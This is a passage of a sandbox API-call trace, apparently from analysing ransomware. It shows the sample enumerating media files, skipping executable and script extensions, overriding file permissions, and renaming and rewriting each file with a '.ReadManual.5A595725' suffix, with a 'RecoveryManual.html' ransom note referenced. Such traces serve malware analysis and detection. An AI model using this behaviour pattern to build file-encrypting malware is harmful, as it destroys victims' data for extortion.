1 [0258.227] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0258.227] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0258.227] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0258.227] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0258.227] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0258.227] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0258.227] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0258.227] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0258.227] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0258.227] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0258.227] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0258.227] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" [0258.227] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv.ReadManual.5A595725" [0258.227] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv.ReadManual.5A595725") returned 87 [0258.227] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37889568829) returned 1 [0258.227] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv")) returned 0x20 [0258.227] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.227] GetLastError () returned 0x5 [0258.227] GetNamedSecurityInfoW () returned 0x0 [0258.227] SetNamedSecurityInfoW () returned 0x0 [0258.228] SetNamedSecurityInfoW () returned 0x0 [0258.229] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.229] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=69268) returned 1 [0258.229] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10e94, lpName=0x0) returned 0x1a0 [0258.229] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.229] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.229] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.231] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.231] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10e94) returned 0x1de0000 [0258.233] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0258.234] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37890264050) returned 1 [0258.234] CloseHandle (hObject=0x1a0) returned 1 [0258.234] SetSecurityInfo () returned 0x5 [0258.234] SetSecurityInfo () returned 0x5 [0258.234] LocalFree (hMem=0x674d38) returned 0x0 [0258.234] CloseHandle (hObject=0x184) returned 1 [0258.235] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0258.235] lstrcpyW (in: lpString1=0x6ab90a, lpString2="passportcover.png" | out: lpString1="passportcover.png") returned="passportcover.png" [0258.235] lstrcmpiW (lpString1="passportcover.png", lpString2="RecoveryManual.html") returned -1 [0258.235] StrStrIW (lpFirst="passportcover.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.235] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.235] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.235] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.236] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.236] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.236] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.236] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.236] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.236] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.236] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.236] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.236] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.236] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.236] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.236] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" [0258.236] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png.ReadManual.5A595725" [0258.236] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png.ReadManual.5A595725") returned 92 [0258.236] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37890466757) returned 1 [0258.236] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png")) returned 0x20 [0258.237] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.237] GetLastError () returned 0x5 [0258.237] GetNamedSecurityInfoW () returned 0x0 [0258.237] SetNamedSecurityInfoW () returned 0x0 [0258.237] SetNamedSecurityInfoW () returned 0x0 [0258.238] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.238] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=363512) returned 1 [0258.238] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x58bf8, lpName=0x0) returned 0x1a0 [0258.238] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc8) returned 1 [0258.239] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.239] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.241] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.241] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x58bf8) returned 0x2690000 [0258.250] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0258.252] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37892106284) returned 1 [0258.252] CloseHandle (hObject=0x1a0) returned 1 [0258.252] SetSecurityInfo () returned 0x5 [0258.252] SetSecurityInfo () returned 0x5 [0258.252] LocalFree (hMem=0x674d38) returned 0x0 [0258.253] CloseHandle (hObject=0x184) returned 1 [0258.257] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0258.257] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PassportMask.wmv" | out: lpString1="PassportMask.wmv") returned="PassportMask.wmv" [0258.257] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="RecoveryManual.html") returned -1 [0258.257] StrStrIW (lpFirst="PassportMask.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.257] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0258.257] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0258.257] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" [0258.257] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv.ReadManual.5A595725" [0258.258] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv.ReadManual.5A595725") returned 91 [0258.258] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37892632272) returned 1 [0258.258] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv")) returned 0x20 [0258.258] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.258] GetLastError () returned 0x5 [0258.258] GetNamedSecurityInfoW () returned 0x0 [0258.258] SetNamedSecurityInfoW () returned 0x0 [0258.258] SetNamedSecurityInfoW () returned 0x0 [0258.259] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.259] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=29268) returned 1 [0258.259] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7254, lpName=0x0) returned 0x1a0 [0258.259] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0258.260] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.260] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.262] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.262] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7254) returned 0x2f0000 [0258.262] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.262] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37893099436) returned 1 [0258.262] CloseHandle (hObject=0x1a0) returned 1 [0258.262] SetSecurityInfo () returned 0x5 [0258.262] SetSecurityInfo () returned 0x5 [0258.262] LocalFree (hMem=0x674d38) returned 0x0 [0258.262] CloseHandle (hObject=0x184) returned 1 [0258.263] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 [0258.263] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PassportMask_PAL.wmv" | out: lpString1="PassportMask_PAL.wmv") returned="PassportMask_PAL.wmv" [0258.263] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0258.263] StrStrIW (lpFirst="PassportMask_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.263] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0258.263] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0258.263] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" [0258.263] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv.ReadManual.5A595725" [0258.263] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv.ReadManual.5A595725") returned 95 [0258.263] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37893191465) returned 1 [0258.263] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv")) returned 0x20 [0258.263] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.263] GetLastError () returned 0x5 [0258.263] GetNamedSecurityInfoW () returned 0x0 [0258.264] SetNamedSecurityInfoW () returned 0x0 [0258.264] SetNamedSecurityInfoW () returned 0x0 [0258.265] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.265] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=29268) returned 1 [0258.265] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7254, lpName=0x0) returned 0x1a0 [0258.265] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0258.266] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.266] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.267] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.268] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7254) returned 0x2f0000 [0258.268] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.268] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37893682189) returned 1 [0258.268] CloseHandle (hObject=0x1a0) returned 1 [0258.268] SetSecurityInfo () returned 0x5 [0258.268] SetSecurityInfo () returned 0x5 [0258.268] LocalFree (hMem=0x674d38) returned 0x0 [0258.268] CloseHandle (hObject=0x184) returned 1 [0258.268] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0258.268] lstrcpyW (in: lpString1=0x6ab90a, lpString2="passport_mask_left.png" | out: lpString1="passport_mask_left.png") returned="passport_mask_left.png" [0258.268] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="RecoveryManual.html") returned -1 [0258.268] StrStrIW (lpFirst="passport_mask_left.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.269] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.269] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.269] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.269] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.269] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.269] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.269] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.269] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.269] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.269] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.269] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.269] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.269] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.269] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.269] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" [0258.269] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png.ReadManual.5A595725" [0258.269] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png.ReadManual.5A595725") returned 97 [0258.269] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37893778740) returned 1 [0258.269] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png")) returned 0x20 [0258.269] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.269] GetLastError () returned 0x5 [0258.269] GetNamedSecurityInfoW () returned 0x0 [0258.270] SetNamedSecurityInfoW () returned 0x0 [0258.270] SetNamedSecurityInfoW () returned 0x0 [0258.271] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.271] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4793) returned 1 [0258.271] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12b9, lpName=0x0) returned 0x1a0 [0258.271] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0258.272] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.272] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.273] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.274] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, 